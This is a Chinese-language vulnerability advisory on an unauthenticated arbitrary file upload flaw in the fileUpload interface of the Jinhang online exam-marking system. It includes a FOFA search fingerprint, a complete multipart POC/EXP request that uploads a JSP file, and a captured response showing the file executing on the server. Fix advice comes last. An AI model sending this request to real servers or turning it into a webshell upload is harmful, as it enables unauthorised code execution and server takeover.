

金航网上阅卷系统fileUpload任意文件上传漏洞

漏洞描述

金航网上阅卷系统fileUpload 接口存在文件上传漏洞，未经身份验证远程攻击者可利用该漏洞代码执行，写入WebShell,进一步控制服务器权限。

影响版本

金航网上阅卷系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="js/insteadSelect/jquery.insteadSelect.css"

POC/EXP：

POST /fileUpload HTTP/1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36

Content-Type: multipart/form-data; boundary=00content0boundary00

Host: 127.0.0.1

Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2

Content-Length: 351

Connection: close

--00content0boundary00

Content-Disposition: form-data; name="upload"; filename="poc.jsp"

Content-Type: application/pdf

```
<%out.println("1234");%>
--00content0boundary00
Content-Disposition: form-data; name="uploadContentType"

pdf
--00content0boundary00
Content-Disposition: form-data; name="uploadFileName"

1.jsp
--00content0boundary00--
```

发送请求

强制 HTTPS

历史

生成 Yarn

Request

数据包扫描

热加载

构造请求

1

POST /fileUpload-HTTP/1.1

2

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36

3

Content-Type: multipart/form-data; boundary=00content0boundary00

4

Host: [REDACTED]

5

Accept: text/html, image/gif, image/jpeg, *, q=.2, */*; q=.2

6

Content-Length [auto]: 351

7

Connection: close

8

9

--00content0boundary00

10

Content-Disposition: form-data; name="upload"; filename="poc.jsp"

11

Content-Type: application/pdf

12

13

<%out.println("1234");%>

14

--00content0boundary00

15

Content-Disposition: form-data; name="uploadContentType"

16

17

pdf

18

--00content0boundary00

19

Content-Disposition: form-data; name="uploadFileName"

20

21

1.jsp

22

--00content0boundary00--

Responses

117bytes / 64ms

美化

渲染

Q

详情

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Content-Type: text/html; charset=utf-8

4

Content-Language: zh-CN

5

Date: Tue, 12 Nov 2024 03:30:45 GMT

6

Connection: close

7

Content-Length: 117

8

9

{ "success": true, "msg": "文件上传成功", "path": "C:\\Program Files (x86)\\PINKENETEXAM\\tomcat8\\webapps\\ROOT\\upload\\poc.jsp" }

←

→

↺

⚠ 不安全

[REDACTED]

:8888/upload/poc.jsp

1234

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本